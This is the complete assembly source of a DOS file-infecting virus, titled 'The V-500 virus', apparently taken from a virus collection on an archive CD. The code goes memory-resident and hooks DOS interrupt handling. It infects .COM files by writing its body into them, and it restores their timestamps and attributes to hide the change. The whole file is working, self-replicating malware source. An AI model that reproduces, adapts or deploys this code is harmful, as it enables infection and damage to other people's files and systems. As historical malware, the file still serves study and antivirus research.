HPAVC/HPAVC CD-ROM.iso/pc/SOURCE.ZIP/V500.ASM

Assembly Source File | 1980-01-01 | 3.8 KB | 270 lines

;------------------------------------------------------------------------------
;-        V 500     ver 2.1   <03:04:91>     GeMiCha            *.COM         -
;------------------------------------------------------------------------------

        page    ,132
        name    V500
        title    The V-500 virus
        .radix    16
    code    segment
        assume    cs:code,ds:code

        org    100


start:            push    ax
        mov    ah,30h
        int    21h
        xchg    ah,al
                mov     word ptr [dosver],ax

        mov    ax,352eh
        int    21h
                cmp     word ptr [dosver],31eh
           jne    endprog


Resident    proc    near
        mov    ah,52h
        int    21h
        push    es
        push    bx

        mov    ax,es:[bx+14h]
        mov    word ptr adrdata,ax

        push    adrdata
        pop    es

        mov    ax,es:[0002]
        mov    Word ptr bufadr,ax

        push    ax
        pop    es

        mov    ax,es:[0002]

        pop    bx
        pop    es

        mov    es:[bx+14h],ax

        mov    es,word ptr adrdata
        xor    di,di
        mov    si,100h
        lea    cx,lendata-100h
        cld
        rep    movsb

        mov    ax,352eh
        int    21h
        mov    ax,0086h
        mov    es:[012E],ax
        lea    dx,int21-100h
        push    adrdata
        pop    ds
        mov    ax,2586h
        int    21h

 Resident    Endp

NormProg    proc    near

EndProg:    mov    ax,3586h
        int    21h
        push    es
        pop    word ptr cs:[jmps]
        push    cs
        push    word ptr cs:[lenpro]
        db    0EAh
        dw    Offset MNormP - 100h
    jmps:    dw    0

NormProg    endp

MNormP        proc    near
        cld
        pop    si
        add    si,0100h
        pop    es
        push    es
        pop    ds
        push    ds
        pop    word ptr cs:[jmpp-100h]
        lea    cx,lendata-100h
        mov    di,0100h
        rep    movsb

        pop    ax
        db    0EAh
        dw    0100h
    jmpp:    dw    0

MNormP        endp

 Int21        proc    near
        push    ax
        push    bx
        push    cx
        push    dx
        push    di
        push    ds
        push    es

        push    ds
        push    dx

        xor    ax,ax
        mov    es,ax
        mov    ax,word ptr es:[004ch]
        mov    word ptr cs:[int13-100h],ax
        mov    ax,word ptr es:[004eh]
        mov    word ptr cs:[int13-100h+2],ax

        mov    ah,13h
        int    2fh
        push    ds
        push    dx
        mov    ah,13h
        int    2fh
        pop    dx
        pop    ds

        xor    ax,ax
        mov    es,ax
        mov    es:[004ch],dx
        mov    es:[004eh],ds

    dos310    label    byte

        pop    dx
        pop    ds

        mov    ax,4300h    ;Get File Attr
        int    21h
        push    cx
        push    dx
        push    ds

        mov    ax,4301h    ;Set File Attr
        xor    cx,cx
        int    21h

        mov    ax,3d02h    ;Open File
        int    21h

        xchg    ax,bx

        push    word ptr cs:[BufAdr -100h]
        pop    ds
        xor    dx,dx

        lea    cx,lendata-100h
        mov    ah,3fh
        int    21h
                cmp     ds:[0000],'ZM'
        je    clof

        mov    ax,4202h
        xor    cx,cx
        int    21h

        mov    cs:[lenpro-100h],ax
        cmp    ah,02h
        jbe    clof
        cmp    ah,0f6h
        jae    clof

        mov    ah,54h        ; Get Verify
        int    21h
        push    ax

        xor    ax,ax        ; Set Verify OFF
        mov    ah,2eh
        xor    dx,dx
        int    21h

        mov    ax,5700h    ; Get Date & Time
        int    21h
        push    cx
        push    dx

        xor    dx,dx
        mov    ah,40h
        lea    cx,lendata-100h
        int    21h

        mov    ax,4200h
        xor    cx,cx
        int    21h

        push    cs
        pop    ds
        lea    cx,lendata-100h
        mov    ah,40h
        int    21h

        pop    dx        ; Set Date & Time
        pop    cx
        mov    ax,5701h
        int    21h

        pop    ax        ; Set Verify
        xor    dx,dx
        mov    ah,2eh
        int    21h


    clof:    mov    ah,3eh
        int    21h

        pop    ds
        pop    dx
        pop    cx
        mov    ax,4301h
        int    21h

        xor    ax,ax
        mov    es,ax
        mov    ax,word ptr cs:[int13-100h]
        mov    es:[004ch],ax
        mov    ax,word ptr cs:[int13-100h+2]
        mov    es:[004eh],ax

        pop    es
        pop    ds
            pop     di
                pop     dx
                pop     cx
                pop     bx
                pop     ax
        int    21h
        iret
Int21        endp
int13        dd    0
bufadr        dw    0
dosver        dw    0
lenpro        dw    LenPPP-LenData
AdrData dw    0000h
CRT    dw    0    ; ???
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '          '
        db    '  '
Lendata label    byte

    prrog    DB    1998    dup(90h)
        int    20h
LenPPP    Label    byte

code    ends
    end    start